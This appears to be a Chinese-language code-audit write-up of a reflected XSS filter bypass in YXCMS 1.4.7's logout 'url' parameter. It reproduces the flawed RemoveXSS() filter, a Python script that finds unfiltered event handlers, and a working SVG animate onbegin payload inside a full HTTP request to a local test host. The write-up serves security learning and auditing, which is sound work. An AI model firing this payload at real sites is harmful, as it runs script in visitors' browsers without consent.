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YXCMS1.4.7反射XSS绕过

在学习代码审计的时候在公开的审计教程中似乎没说这个漏洞。
在开始之前需要了解这个cms的路由，采用的是mvc设计模式。
例如:http://127.0.0.1/index.php?r=member/index/logout
member对应的就是文件夹member
index对应的就是在文件夹member下的控制器文件名为indexController.php文件
logout对应的就是indexController.php的方法
1.首先进入文件夹定位到该方法

      public function logout()
      {
          $ucloginout=api('ucenter','uclogout');
          $url=empty($_GET['url'])?$_SERVER['HTTP_REFERER']:RemoveXSS($_GET['url']);
          if(set_cookie('auth','',time()-1)) $this->success('您已成功退出~',$url,3,$ucloginout);
      }

从 $_GET 变量中获取了名为 url 的参数，如果 url 参数为空，则使用 $_SERVER['HTTP_REFERER'] 来获取上一个页面的 URL。在获取 url 参数后，通过 RemoveXSS() 函数对其进行 XSS 过滤。，点进RemoveXSS方法发现过滤不严格，存在绕过的方式。

function RemoveXSS($val) {  
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed  
   // this prevents some character re-spacing such as <java\0script>  
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs  
   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);  

   // straight replacements, the user should never need these since they're normal characters  
   // this prevents like <IMG SRC=@avascript:alert('XSS')>  
   $search = 'abcdefghijklmnopqrstuvwxyz'; 
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
   $search .= '1234567890!@#$%^&*()'; 
   $search .= '~`";:?+/={}[]-_|\'\\'; 
   for ($i = 0; $i < strlen($search); $i++) { 
      // ;? matches the ;, which is optional 
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 

      // @ @ search for the hex values 
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; 
      // @ @ 0{0,7} matches '0' zero to seven times  
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
   } 

   // now the only remaining whitespace attacks are \t, \n, and \r 
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
   $ra = array_merge($ra1, $ra2); 

   $found = true; // keep replacing as long as the previous round replaced something 
   while ($found == true) { 
      $val_before = $val; 
      for ($i = 0; $i < sizeof($ra); $i++) { 
         $pattern = '/'; 
         for ($j = 0; $j < strlen($ra[$i]); $j++) { 
            if ($j > 0) { 
               $pattern .= '(';  
               $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
               $pattern .= '|';  
               $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
               $pattern .= ')*'; 
            } 
            $pattern .= $ra[$i][$j]; 
         } 
         $pattern .= '/i';  
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag  
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags  
         if ($val_before == $val) {  
            // no replacements were made, so exit the loop  
            $found = false;  
         }  
      }  
   }  
   return $val;  
} 

观察到了，进行了一些标签名和事件进行了过滤
访问https://portswigger.net/web-security/cross-site-scripting/cheat-sheet将所有事件复制到一个文本，检查没有被过滤的事件。

ra2 = [
    'onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut',
    'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate',
    'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut',
    'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend',
    'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange',
    'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete',
    'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover',
    'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange',
    'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted',
    'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'
]

with open("abc.txt" ,"r") as f:
    while True:
        line=f.readline()
        a=line.strip("\n")
        print(a in ra2,f"{a}")
        if not line:
            break

获得了一个无需交互的标签和事件

<svg><animate+onbegin=alert(1)+attributeName=x+dur=1s>

GET /index.php?r=member/index/logout&url=123'%df><svg><animate+onbegin=alert(1)+attributeName=x+dur=1s HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: javascript:alert(1)
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=atvtanjkp716d749o8sv7fvqr4
Connection: close
Content-Length: 54